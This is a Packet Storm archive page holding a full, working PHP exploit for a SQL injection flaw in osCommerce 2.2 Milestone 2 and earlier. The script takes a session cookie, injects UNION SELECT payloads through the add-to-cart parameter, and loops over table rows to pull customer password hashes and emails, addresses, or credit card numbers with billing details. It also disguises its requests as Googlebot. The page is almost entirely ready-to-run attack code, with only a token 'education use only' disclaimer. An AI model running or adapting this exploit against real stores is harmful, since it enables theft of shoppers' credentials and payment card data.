what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

oscommerce22-php.txt

oscommerce22-php.txt
Posted Sep 7, 2006
Authored by Perseus

Proof of concept exploit written in PHP for osCommerce versions 2.2 Milestone 2 and below with suffer from a SQL injection vulnerability.

tags | exploit, php, sql injection, proof of concept
SHA-256 | 4997afa0f376adee76a61ee7f73488639e215d005d0de7a70f849a296548887d

oscommerce22-php.txt

Change Mirror Download
php poc exploit for osCommerce <=  2.2 Milestone 2
060817 vuln found by gulftech

it does not work with magic_quotes_gpc on so make it
off to test this script. you're lucky if you can find
server with this settings set to off.

this is for education use only. topic: sql injection.

kiddies use it at your own discretion.

#!/usr/bin/php -q -d short_open_tag=on
<?

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<5) {
echo "\r\nExploit osCommerce < 2.2 Milestone 2 060817
by Perseus \r\n";
echo "\r\nUsage: \r\n\r\n php ".$argv[0]." host path
product_id whatinfo OPTIONS\r\n\r\n";
echo " host - target server (ip/hostname)\r\n";
echo " path - path to osCommerce\r\n";
echo " product_id - Valid product_id\r\n";
echo " whatinfo - pass for password, cc for credit
card info, addr for address\r\n\r\n";
echo "Options:\r\n\r\n";
echo " -D: Show debug or verbose on\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n\r\n";
echo "Example:\r\n\r\n";
echo " php ".$argv[0]." localhost /os2/catalog/ 2
pass\r\n";
echo " php ".$argv[0]." 192.168.1.108 /os2/catalog/
2 pass -p8080 -P192.168.1.108:3128 -D\r\n";
echo " php ".$argv[0]." 192.168.1.108 /os2/catalog/
2 cc -p8080 -P192.168.1.108:3128\r\n";
die;
}


$host=$argv[1];
$path=$argv[2];
$products_id=$argv[3];
$whatinfo=$argv[4];
$port=80;
$Debug=0;
$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-D")
{
$tmp=str_replace("-D","",$argv[$i]);
$Debug=1;
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}

if($Debug==1) {
echo "Name\t: osCommerce Multiple
Vulnerabilities\r\n";
echo "Date\t: August 17, 2006\r\n";
echo "Vendor\t: osCommerce\r\n";
echo "URL\t: http://www.oscommerce.com/\r\n";
echo "Version\t: osCommerce < 2.2 Milestone 2
060817\r\n";
echo "Risk\t: Multiple Vulnerabilities\r\n";
echo "Exploit\t: Customers Info, Pass, and Credit
Info Disclosure\r\n";
echo "Author\t: Perseus\r\n";
echo "Compatibility\t: magic_quotes_gpc off, union
supported\r\n";
echo "Greets\t: rgod, James Bercegay, str0ke, hdm,
r57 \r\n";
}

// try if you can rewrite this code to attack osc with
magic_quotes_gpc on
// because I found it impossible for the moment.
// this will make oscommerce people update their vuln
servers right now.

$proxy_regex =
'(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if ($proxy=='') {$p=$path;} else
{$p='http://'.$host.':'.$port.$path;}
$loop = 1000;

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex,
$Debug;
if ($proxy=='') {
if($Debug==1) echo "\r\nProcessing packets
directly...\r\n";
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo "\r\nNo response from
".$host.":".$port."\r\n"; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
if($Debug==1) echo "\r\nProcessing packets using
proxy ".$parts[0].":".$parts[1]." ...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo "\r\nNo response from proxy...\r\n";die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}

fclose($ock);
#debug
#echo "\r\n".$html;
}
$bl=0;
for($y=0;$y<=$loop;$y++) {
//1. get cookie
$out = "GET
".$p."product_info.php?products_id=".$products_id."
HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "Connection: Close\r\n\r\n";
sendpacketii($out);
$e = explode("Set-Cookie: osCsid=",$html);
$e2 = explode(";",$e[1]);
$cookie = $e2[0];

//2. injection
if($whatinfo=="pass") {

$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||',
customers_password, '^',
customers_email_address,'|',customers_firstname,'|',customers_lastname,'|',customers_dob,'|',customers_telephone,
'^') , 0 , 0
FROM customers LIMIT ".$y.",1 /*";

} elseif($whatinfo=="addr") {

$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||',
entry_company, '^',
entry_firstname,'|',entry_lastname,'|',entry_street_address,'|',entry_suburb,'|',entry_postcode,'|',entry_city,'|',entry_state,
'^') , 0 , 0
FROM address_book LIMIT ".$y.",1 /*";

} elseif($whatinfo=="cc") {

$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||',
cc_type, '^',
cc_owner,'|',cc_number,'|',cc_expires,'|',billing_street_address,'|',billing_suburb,'|',billing_city,'|',billing_postcode,'|',billing_state,'|',billing_country,'^')
, 0 , 0
FROM orders LIMIT ".$y.",1 /*";

}

$sql=urlencode($sql);
$data = "id[0]=".$sql."";
$data.="&products_id=".$products_id."";
$out = "POST
".$p."product_info.php?products_id=".$products_id."&action=add_product&osCsid=".$cookie."
HTTP/1.0\r\n";
$out .= "User-Agent: Googlebot/2.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "Accept: text/plain\r\n";
$out .= "Connection: Close\r\n";
$out .= "Content-Type:
application/x-www-form-urlencoded\r\n";
$out .= "Cookie: ".$cookie."\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
$out .= $data;
sendpacketii($out);

//3. get vals
$out = "GET
".$p."shopping_cart.php?osCsid=".$cookie."
HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "Connection: Close\r\n\r\n";
sendpacketii($out);
//echo $html;
$e = explode("M||||",$html);
$e2 = explode("^",$e[1]);
$str = "\r\n".$y.". ".$e2[0]." ".$e2[1]."\r\n";
echo $str;
$strl = strlen($str);
if($strl<=25) $bl++;
if($bl==3) break;

}

?>

__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close